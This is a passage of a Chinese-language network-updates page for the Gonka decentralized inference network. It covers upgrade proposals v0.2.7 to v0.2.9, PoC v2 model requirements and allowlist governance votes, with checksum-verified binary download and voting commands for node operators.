\"fc628d77aa516896924fbd8f60b8aa6a14161de4582aaef634de62382ea482eb inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.9/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.9/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.9/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.9/bin/inferenced && \\\necho \"52c79f06a8fc175ca6b3819523bb36afbf601d8a8320b1bb5a3cc089ceef62c4 .dapi/cosmovisor/upgrades/v0.2.9/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"ae20517e4bb38293202f7f5d52439d5315cb32c8f3c34a02fa65feaefadd6193 .inference/cosmovisor/upgrades/v0.2.9/bin/inferenced\" | sudo sha256sum --check\nv0.2.9升级提案进入治理阶段
下一代链上软件版本v0.2.9的升级提案现已上链并开放投票。若获得批准，该提案将启用PoC v2用于权重分配，并通过链上治理完成向传统PoC机制的过渡。
关键变更PoC v2激活
模型配置
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-235B-A22B-Instruct-2507-FP8资格标准
ML节点要符合PoC v2权重分配资格，必须同时满足以下两个条件：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8cPoC情况下的奖励流程修正
在因cPoC惩罚而减少或排除奖励的情况下，未计入部分将转入社区池。此前，此类奖励会在其他参与者之间重新分配。
其他协议更新
allowlistallowlist中移除有关这些变更的更多详细信息请参见治理工件：https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.9/proposals/governance-artifacts/update-v0.2.9
主机准备
鼓励主机确认所有ML节点：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8有关切换ML节点至Qwen/Qwen3-235B-A22B-Instruct-2507-FP8、升级ML节点镜像以及移除其他模型的指南，请参阅常见问题解答。
如何投票
提案详情及投票可通过inferenced进行。任何活跃节点均可使用，可用节点包括：
投出您的选票（ yes , no , abstain , no_with_veto ）：
export NODE_URL=https://node4.gonka.ai/\n./inferenced tx gov vote 26 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node4.gonka.ai/\n./inferenced query gov votes 26 -o json --node $NODE_URL/chain-rpc/\n鼓励主机查看 GitHub 上的提案并参与投票。
注意
.inference/data 目录中创建完整的状态备份。请确保升级前有足够的磁盘空间。有关如何安全删除 .inference 目录中的旧备份的指南，请参阅文档。application.db 占用了大量磁盘空间，可以应用此处描述的清理技术。PoC 验证参与通知
在最新纪元中，大量 ML 节点未获得 PoC 权重。 分析表明，这是由于 PoC 验证参与不足所致。在多个案例中，参与者发布了 nonce，但未执行验证，或验证水平远低于协议要求。 下表列出了上一纪元拥有权重、在当前纪元提交了 PoC nonce，但未参与或未充分参与 PoC 验证阶段的参与者：https://docs.google.com/spreadsheets/d/17agQXP77lATT2bNK12OEOzek5wNSptN2ktiSag3QXB0/
他们的总权重约为 36%。加上完全未参与 PoC 的参与者，PoC 验证参与不足或极低的总权重达到约 48%，这一比例过高。 如果您的节点在表中 validated 列显示为 0，请检查您的 PoC 验证日志和配置，确保验证正常运行。
此笔记本展示了构建上述表格所使用的过程：https://github.com/gonka-ai/gonka/blob/gm/debug-155-1/debug-validation.ipynb。
"}, {"location": "gonka/docs/zh/network-updates/#2026129_1", "title": "2026年1月29日", "text": "升级已执行：v0.2.8 已在主网上线
升级提案 v0.2.8 的链上治理投票已结束。该提案已获批准并成功在主网上执行。 此升级实现了 PoC v2 架构，简化了模型支持，并应用了关键的安全性和可靠性修复。
现已生效的关键变更PoC v2 核心集成
root_hash 和 count 记录在链上。模型可用性更新
支持的模型集现已受限。除以下模型外，所有先前支持的模型均已从活跃集合中移除：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8安全与可靠性改进
InferenceUrl 以拒绝内部 IP，并添加超时以防止请求挂起。epochId 绑定到签名，以验证是否属于正确的纪元。PoC v2 参与资格的主机要求
参与 PoC v2 的资格要求主机完成以下事项：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Note
未能满足上述两项条件的节点，在网络过渡到单模型配置后将失去 PoC v2 参与资格。PoC v2 的权重分配过渡仍受观察性采用阈值和后续治理的约束。
维护与操作
.inference/data 目录中创建完整的状态备份。请确保有 250 GB 以上的可用空间。建议在升级后窗口期间监控节点状态和 Discord 通信，以确保稳定性。
"}, {"location": "gonka/docs/zh/network-updates/#2026-1-28", "title": "2026 年 1 月 28 日", "text": "如何切换到 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8、升级 ML 节点并移除其他模型？
本指南说明主机应如何根据 v0.2.8 模型可用性变化及即将推出的 PoC v2 更新来升级其 ML 节点。ML 节点配置对 PoC v2 的合规性自第 155 个纪元起生效。建议主机在该时间点前审查并准备其 ML 节点配置。迁移至 PoC v2 可在第 155 个纪元后安排。迁移阶段结束后，不符合配置要求的 ML 节点的权重将不被计入。
1. 背景：模型可用性变更（升级 v0.2.8）
作为 v0.2.8 升级的一部分，活跃模型集已更新。
支持的模型（活跃集）
仅以下模型仍受支持：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8Qwen/Qwen3-32B-FP8 在迁移期间受支持，但不参与 PoC v2 就绪或权重分配。参与 PoC v2 需要提供 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8。
已移除的模型
所有先前支持的模型均已从活跃集中移除，不得再提供服务。
3. PoC v2 就绪标准（重要）
成功参与 PoC v2 过渡需满足以下两项条件：
重要
3. 检查 ML 节点分配状态（推荐的安全步骤）
更改模型前，您应检查当前的 ML 节点分配情况。查询您的网络节点管理 API：
curl http://127.0.0.1:9200/admin/v1/nodes\n\"timeslot_allocation\": [\n true,\n false\n]\n推荐行为
false 的节点上更改模型4. 更新 ML 节点的模型：仅保留受支持的模型
建议预先下载模型权重。为避免启动延迟，请将权重预先下载至 HF_HOME：
mkdir -p $HF_HOME\nhuggingface-cli download Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\nQwen/Qwen3-235B-A22B-Instruct-2507-FP8）。 例如：
curl -X PUT \"http://localhost:9200/admin/v1/nodes/node1\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 800,\n \"models\": {\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"240000\"\n ]\n }\n }\n }'\nNote
node-config.json 仅在首次启动网络节点 API 或本地状态/数据库被删除时使用。如需全新重启，请编辑它。对于现有节点，模型更新应通过管理 API 进行。
5. 升级 ML 节点镜像（PoC v2 所需）
编辑 docker-compose.mlnode.yml 并更新 ML 节点镜像：
标准 GPU
image: ghcr.io/product-science/mlnode:3.0.12\nimage: ghcr.io/product-science/mlnode:3.0.12-blackwell\ngonka/deploy/join： source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n6. 验证模型服务（将在下一个周期生效）
确认 ML 节点仅提供 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 服务，这是 PoC v2 权重和未来权重分配使用的唯一模型：
curl http://127.0.0.1:8080/v1/models | jq\ncurl http://127.0.0.1:9200/admin/v1/nodes\n治理与 PoC v2 激活说明
PoC v2 分阶段引入，并非一次性激活。
第一阶段：观察（v0.2.8 之后的当前状态）
v0.2.8 升级后，PoC v2 逻辑可用，但尚未用于权重分配。
在此阶段：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 或 Qwen/Qwen3-32B-FP8Qwen/Qwen3-235B-A22B-Instruct-2507-FP8，并升级为与 PoC v2 兼容的版本，才能为 PoC v2 权重做出贡献。第二阶段：治理提案（可选，未来）
一旦观察到足够数量的活跃主机采用（约 50%）：
- 可能会提交单独的治理提案\n- 该提案可能请求批准激活 PoC v2 并使用 PoC v2 进行权重分配\n采用阈值仅为观察性，不会触发任何自动更改。
第三阶段：激活（仅在治理批准后）
PoC v2 仅在链上治理提案获得批准时才成为权重分配的活跃方法。 在此提案获得批准前：
- PoC v2 对权重分配保持非激活状态\n- 现有的 PoC 机制将继续用于确定权重\n摘要检查清单
在 PoC v2 激活前，请确保：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8v0.2.8 升级提案的链上治理流程即将结束。
升级详情
提前预下载二进制文件有助于避免在升级窗口期间依赖 GitHub 的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.8/bin \\\n .inference/cosmovisor/upgrades/v0.2.8/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8-post1/decentralized-api-amd64.zip\" && \\\necho \"45f28afba4758e54988f61cc358f0ad683e7832ab121ccd54b684fe4c9381a75 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.8/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.8/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.8/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8-post1/inferenced-amd64.zip\" && \\\necho \"f0f2e3ee8760e40a78087c98c639a7518bf062138141ed4aec2120f5bc622a67 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.8/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.8/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.8/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.8/bin/inferenced && \\\necho \"421a761f3a7037d72ee0bd8b3f50a744349f717439c7e0fee28c55948dae9a7c .dapi/cosmovisor/upgrades/v0.2.8/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"308c63c7bda4fb668632ac3e13f3f6cccacf54c563c8e9fd473bcb48c7389fe0 .inference/cosmovisor/upgrades/v0.2.8/bin/inferenced\" | sudo sha256sum --check\nv0.2.8 升级提案进入治理流程
下一版链上软件 v0.2.8 的升级提案现已上链并开放投票！ 您的审阅与投票对确保网络的稳定性与未来能力至关重要。
v0.2.8 的关键变更PoC v2（核心升级）
模型可用性变更
作为 v0.2.8 升级的一部分，支持的模型集已更新。所有先前支持的模型均从活跃集合中移除，除以下模型外：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8通过使用 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 成功参与 PoC v2，并配合所需的 ML Node 版本，可评估是否具备过渡到 PoC v2 的条件。一旦在活跃 Host 中观察到足够程度的采用率（约 50%），可提交独立的治理提案以批准并激活 PoC v2 用于分配权重。该阈值为观察性指标，不会触发任何自动网络变更。
在下一次网络步骤经治理批准后，网络将暂时仅支持 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8。
安全、正确性与可靠性改进
由于变更量较大，此处仅列出部分重点内容。更多更新与修复的完整列表请参见 GitHub 拉取请求。
Host 需采取的操作
为参与 PoC v2 过渡，Host 必须完成以下两项操作：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 服务仅提供 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 但未升级 ML Node 不足以参与 PoC v2。一旦网络切换至单模型配置，未同时满足两项条件的节点将不被认定为 PoC v2 参与资格。ML Node 升级必须在 PoC v2 通过治理完全启用前完成。
如何投票
您可使用 inferenced 命令获取提案详情并进行投票。请注意，任何活跃节点均可用于查询或投票。当前可用节点包括：
查看投票状态：
export NODE_URL=https://node4.gonka.ai/\n./inferenced query gov votes 25 -o json --node $NODE_URL/chain-rpc/\n投票（ yes , no , abstain , no_with_veto ）：
export NODE_URL=https://node4.gonka.ai/\n./inferenced tx gov vote 25 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n截止日期
请查看并投票，如果您是 Host。
注意 1： 请在升级窗口期间保持在线，以便在需要时及时执行后续步骤或缓解指令。
注意 2： 在升级过程中，Cosmovisor 会在 .inference/data directory 中创建完整的状态备份。请确保有足够的磁盘空间。有关从 .inference 目录安全删除旧备份的说明，请参阅 此处。如果 application.db 占用了大量磁盘空间，可以使用 此处 描述的清理方法。
注意： 升级后，Postgres 可配置为本地负载的存储。
"}, {"location": "gonka/docs/zh/network-updates/#2026-1-19", "title": "2026 年 1 月 19 日", "text": "提案更新：批准延长稳定期
关于延长稳定期的最近治理投票已成功通过。稳定期现已正式延长，以允许进行额外的测试和网络升级。
主机操作项
在延长确认后，请利用这段时间为新的 PoC 要求准备您的设备。
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 模型。如何更新
更新现有 ML 节点的说明请参见：https://gonka.ai/host/mlnode-management/#updating-an-existing-mlnode
"}, {"location": "gonka/docs/zh/network-updates/#2026-1-16", "title": "2026 年 1 月 16 日", "text": "稳定期延长
一项新的治理投票目前正在生效。
该提案将当前的稳定期延长约两周，以便为即将进行的 PoC 变更及相关网络升级进行额外测试。有关新 PoC 开发进展的更多详情，请参见：https://github.com/gonka-ai/gonka/blob/gm/poc-status/proposals/governance-artifacts/poc-update-status.md。
该延长也为主机提供了时间，以准备符合新 PoC 要求的设备，包括将 ML 节点切换至 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 模型。更新现有 ML 节点的说明请参见：https://gonka.ai/host/mlnode-management/#updating-an-existing-mlnode。运行多个 ML 节点的主机建议在多个纪元中逐步执行更新。
投票范围
如果获得批准，网络将暂时继续在现有的 allowlist（包括未表现出非标准硬件行为的主机）下运行。
开发者 allowlist 将以相同的偏移量延长，并将持续生效至区块 2459375。
未包含在 allowlist 中的主机在延长的稳定期内将无法参与 PoC，该阶段将在区块 2443558 结束。
可复现性与方法
allowlist 为：
执行特性
allowlist 将自动延长。稳定期结束后
allowlist 具有固定过期时间，不会延续至延长的稳定期之后。一旦 allowlist 在区块 2443558 过期：
如何投票
您可以使用 inferenced 命令获取提案详情并进行投票。
请注意，任何活跃节点均可用于查询或投票。当前可用的节点包括：
要检查投票状态：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 22 -o json --node $NODE_URL/chain-rpc/\n投票（yes、no、abstain、no_with_veto）：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 22 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n投票后的下一步
此流程完全通过治理处理，无需软件升级。
时间表和截止日期
投票结束：2026年1月18日，UTC时间05:28:01。
Allowlist过期：自动在区块2443558时过期。
临时参与者 allowlist 修正
当前有一个新的治理投票正在进行。该投票通过将若干地址添加到白名单来修正一个过滤边缘情况，这些地址此前因硬件名称为空但ML节点权重为零而被过滤掉。该提案还向允许的开发者列表中添加了少量开发者账户，并将 allowlist 的过期时间与区块2,222,222的参与者注册截止时间对齐。 所有参与逻辑保持不变。此提案仅解决现有过滤逻辑中的一个小问题。
可重复性与方法论
allowlist 由公开可观察的链上数据通过预定义的硬件配置模式推导得出。这些模式使用此处提供的开源脚本进行评估：https://github.com/product-science/filter
allowlist 可在此处获取：https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv
如何投票
您可以使用 inferenced 命令获取提案详情并投票。
请注意，任何活跃节点均可用于查询或投票。当前可用的节点包括：
检查投票状态：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 21 -o json --node $NODE_URL/chain-rpc/\n投票（yes、no、abstain、no_with_veto）：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 21 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n投票后的下一步
此流程完全通过治理处理，无需软件升级。
时间表和截止日期
投票截止：2026年1月12日 06:04:14（UTC）
Allowlist过期时间：在区块 2,222,222 自动过期。
已批准临时参与者 allowlist。将在第135个周期激活
关于临时参与者 allowlist 在稳定期的链上治理投票已结束。
该提案已获批准。此提案定义了一个临时 allowlist，涵盖在最近多个周期中行为保持一致的参与者。
当前生效的关键变更
1) 网络将运行一个 allowlist，其参与者需在多个周期内满足：
2) 之前表现出偏离这些模式的参与者将被排除在 allowlist 之外，直至稳定窗口在区块 2,222,222 结束。
执行特性
allowlist 将从下一个周期（第135周期）开始生效allowlist 将持续有效，直至并包括区块 2,222,222可复现性与方法论
allowlist 完全基于公开可观察的链上数据推导得出allowlist 发布于此：https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv下一步
主机无需采取任何操作。
"}, {"location": "gonka/docs/zh/network-updates/#202618", "title": "2026年1月8日", "text": "现在开始：稳定期临时参与者 Allowlist
在成功采用解决PoC相关共识故障的补丁后，一项新的治理投票当前正在生效。
随着区块生产恢复正常，网络即将进入一个短暂的稳定期，为后续增长做准备。
本次投票定义了稳定期内参与者的 allowlist (https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv)，反映那些行为始终符合网络预期的参与者集合。
投票范围
若获批准，网络将临时运行一个 allowlist，包含在先前周期中未表现出非标准硬件行为的参与者。实际上，allowlist 对应于在多个周期中满足以下条件的参与者：
allowlist。可复现性与方法论
allowlist 基于公开可观察的链上数据，并使用预定义的硬件配置模式生成。这些模式通过此处提供的开源脚本进行评估：https://github.com/product-science/filter
allowlist 可在此处获取：https://github.com/product-science/filter/blob/main/artifacts_end2end/allowlist.csv
执行特性
allowlist 将自动生效。allowlist将生效，预计在区块：2089140。allowlist将持续有效，直至并包括区块2222222。在稳定窗口之后
allowlist具有固定的过期时间，不会延续至稳定窗口之后。一旦allowlist在区块2222222过期：
如何投票
您可以使用inferenced命令获取提案详情并进行投票。 请注意，任何活跃节点均可用于查询或投票。当前可用节点包括：
要检查投票状态：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 20 -o json --node $NODE_URL/chain-rpc/\n要投票（yes，no，abstain，no_with_veto）：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 20 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n此过程完全通过治理处理，无需软件升级。
时间表和截止日期
Allowlist生效：在下一个PoC执行于区块2089140后。Allowlist过期：自动于区块2222222。请查看并如果您是主机，请投票。
"}, {"location": "gonka/docs/zh/network-updates/#202618_1", "title": "2026年1月8日", "text": "网络更新——共识已恢复
在部署补丁后，网络共识已稳定，目前运行在正常参数范围内。
"}, {"location": "gonka/docs/zh/network-updates/#202618_2", "title": "2026年1月8日", "text": "网络更新——补丁已准备好部署
解决PoC期间观察到的共识故障的补丁现已可用。
指南
为恢复可靠的共识进展，至少需要67%的网络活跃算力安装该补丁。
在达到此阈值之前，共识推进可能仍不稳定。
建议主机立即应用补丁并在升级后保持在线。 如有必要，将另行发布进一步说明。
"}, {"location": "gonka/docs/zh/network-updates/#202618_3", "title": "2026年1月8日", "text": "网络更新——后续通知
解决近期共识问题的补丁已准备就绪，详细说明将很快发布。 每位活跃主机的参与对网络推进和恢复正常运行至关重要。请保持在线，一旦说明发布，请立即准备应用更新。
"}, {"location": "gonka/docs/zh/network-updates/#202618_4", "title": "2026年1月8日", "text": "网络更新——PoC期间共识失败
在Proof-of-Compute（PoC）期间，网络上观察到共识失败。 问题已识别，正在准备补丁以解决根本原因。后续说明和技术细节将很快发布。 建议主机保持在线并关注更新，因为补丁发布后可能需要采取后续行动。
"}, {"location": "gonka/docs/zh/network-updates/#202618_5", "title": "2026年1月8日", "text": "v0.2.7升级提案：主网上线的创世验证者增强
链上治理投票已结束，关于v0.2.7升级提案：创世验证者增强已获批准，并成功在主网上部署。
当前生效的关键变更：创世验证者增强（临时）
协议稳定性修复（全网）
此升级将此前通过手动API更新分发并已在网络中使用的关键修复正式化。这些修复包括：
PoCBatch和PoCValidation交易引入批处理。通过将其纳入此处，该行为将成为全网一致应用的协议级规则。
临时参与和执行限制
allowlist开发者地址列表立即生效。列入白名单的开发者地址在此期间可执行推理。所有适用于开发者地址的限制，包括开发者级注册和推理执行，将持续至区块2.294.222（约19天）。治理控制机制
本升级中包含的预备性变更，为未来通过治理机制控制参与者入网和推理执行提供了支持，无需额外软件升级。本提案未启用任何此类治理激活的限制，需另行投票决定。
第117轮奖励分配
本提案涵盖与链停顿（第117轮）相关的两项奖励分配：
关于持续时间和执行的说明
本升级重新激活或引入的所有保护措施均为临时性，无需手动治理干预即可移除。
下一步行动：
.inference状态文件夹中创建完整备份。为安全执行更新，建议保留250 GB以上的可用磁盘空间。点击查看 如何安全删除.inference目录中的旧备份。备注：
版本 v0.2.7 的升级提案已通过链上治理批准。
升级详情
提前预下载二进制文件有助于避免在升级窗口期间依赖 GitHub 的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.7/bin \\\n .inference/cosmovisor/upgrades/v0.2.7/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.7/decentralized-api-amd64.zip\" && \\\necho \"03555ba60431e72bd01fe1fb1812a211828331f5767ad78316fdd1bcca0e2d52 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.7/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.7/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.7/inferenced-amd64.zip\" && \\\necho \"b7c9034a2a4e1b2fdd525bd45aa32540129c55176fd7a223a1e13a7e177b3246 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.7/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced && \\\necho \"d07e97c946ba00194dfabeaf0098219031664dace999416658c57b760b470a74 .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"09c0e06f7971be87ab00fb08fc10e21ff86f9dff6fc80d82529991aa631cd0a9 .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced\" | sudo sha256sum --check\nInference Installed and Verified\n--- Final Verification ---\n-rwxr-xr-x 1 root root 224376384 Jan 1 2000 .dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api\n-rwxr-xr-x 1 root root 215172352 Jan 1 2000 .inference/cosmovisor/upgrades/v0.2.7/bin/inferenced\n.dapi/cosmovisor/upgrades/v0.2.7/bin/decentralized-api: OK\n.inference/cosmovisor/upgrades/v0.2.7/bin/inferenced: OK\n注意
.inference/data 目录的完整备份。请确保有足够的磁盘空间。如果磁盘使用率较高，.inference 中的旧备份可以安全删除。application.db 的大文件。可选：跳过 Cosmovisor 备份
通过为 node 容器设置环境变量 UNSAFE_SKIP_BACKUP=true，Cosmovisor 支持在升级期间跳过自动状态备份。
这可以减少磁盘使用量和升级时间。但是，如果升级失败，将没有备份可用于恢复先前状态。
"}, {"location": "gonka/docs/zh/network-updates/#202617_1", "title": "2026年1月7日", "text": "主机的重要说明
通过为 node 容器设置环境变量 UNSAFE_SKIP_BACKUP=true，可以在 Cosmovisor 升级期间选择跳过自动备份。 此选项存在风险——如果升级失败，您将无法备份来恢复状态。
v0.2.7 升级提案：创世验证者增强进入治理
与创世验证者增强相关的链上治理提案已发布，目前开放投票。
近期网络增长带来了若干挑战。过去几天，网络经历了多次问题，其中一些似乎是由故意破坏或施压系统的行为引起的。本提案旨在通过一系列临时措施增强网络在高负载和不利条件下的韧性。
创世验证者增强最初是在网络早期阶段作为临时防御机制引入的，并在运行的前两个月内处于激活状态。当前治理提案旨在根据当前网络状况，临时重新激活此现有机制，并启用一些额外的保护措施。
关键变更创世验证者增强（临时）
协议稳定性修复（全网）
此升级将此前通过手动API更新分发并已在网络中使用的关键修复正式化。这些修复包括：
PoCBatch 和 PoCValidation 交易引入批处理。通过将其纳入此处，该行为将成为全网一致应用的协议级规则。
临时参与和执行限制
allowlist 开发者地址列表立即生效。列入白名单的开发者地址在此期间可执行推理。所有适用于开发者地址的限制，包括开发者级别注册和推理执行，将持续到区块2,294,222（约19天）。治理控制机制
本升级中包含的预备性变更，为未来通过治理控制参与者入网和推理执行提供了支持，无需额外软件升级。本提案不启用任何此类治理激活的限制，需经额外治理投票决定。
第117轮奖励分配
本提案涵盖与链暂停（第117轮）相关的两项奖励分配：
关于持续时间和执行的说明
此升级重新激活或引入的所有保护措施均为临时性，无需手动治理干预即可移除。
如何投票
您可以使用 inferenced 命令获取提案详情并投票。
要检查投票状态：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced query gov votes 19 -o json --node $NODE_URL/chain-rpc/\n投票（ yes , no , abstain , no_with_veto ）：
export NODE_URL=http://node1.gonka.ai:8000\n./inferenced tx gov vote 19 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n时间表和截止日期
主机请注意注意事项 1
如果您是主机，请审阅提案并投票。 在升级窗口期间保持在线，以便在出现问题时遵循指示。
注意事项 2
Cosmovisor 在执行更新时会在 .inference/data 状态文件夹中创建完整备份，请确保您的磁盘有足够的空间。阅读 此处 了解如何安全地从 .inference 目录中删除旧备份。 如果您的 application.db 占用大量空间，可以使用 此处 提供的技术进行清理。
参考
Genesis 验证者增强功能的完整技术细节请参见： https://github.com/gonka-ai/gonka/tree/main/proposals/early-network-protection
完整技术审查（GitHub PR）：https://github.com/gonka-ai/gonka/pull/503
"}, {"location": "gonka/docs/zh/network-updates/#202615", "title": "2026年1月5日", "text": "当前网络上观察到比平常更高的推理遗漏率。 在许多情况下，这是由于一个缺陷：不支持格式的推理请求未被标记为已完成，尽管请求本身已被处理。以下更新将解决此行为。
参考：https://github.com/gonka-ai/gonka/pull/517
此 API 版本改进了对失败推理的处理韧性，并减少了推理遗漏计数问题。它还为 PoCBatch 和 PoCValidation 交易引入了批处理功能。
升级时间
在确认 PoC 未激活时应用更新是安全的。
要验证当前状态：
curl \"http://136.243.34.19:8000/v1/epochs/latest\" | jq '.is_confirmation_poc_active'\nfalse 。 安装
下载并安装新二进制文件，然后重启 API 容器：
# Download Binary\nsudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.6-post12/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.6-post12/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.6-post12/decentralized-api-amd64.zip' && \\\necho \"f0d1172a90ca4653035e964abe4045f049d03d6060d6519742110e181b1b2257 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.6-post12/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.6-post12/bin/decentralized-api && \\\necho \"API Installed and Verified\"\n\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .dapi/cosmovisor/current\nsudo ln -sf upgrades/v0.2.6-post12 .dapi/cosmovisor/current\necho \"4672a39c3a3a0a2c21464c227a3f36e9ebf096ecc872bf9584ad3ea632752a3e .dapi/cosmovisor/current/bin/decentralized-api\" | sudo sha256sum --check && \\\n\n\n# Restart \nsource config.env && docker compose up api --no-deps --force-recreate -d\n在Gonka中发现安全问题？负责任的披露有助于确保整个网络的安全。请使用下方的表单通过HackerOne直接提交漏洞报告。
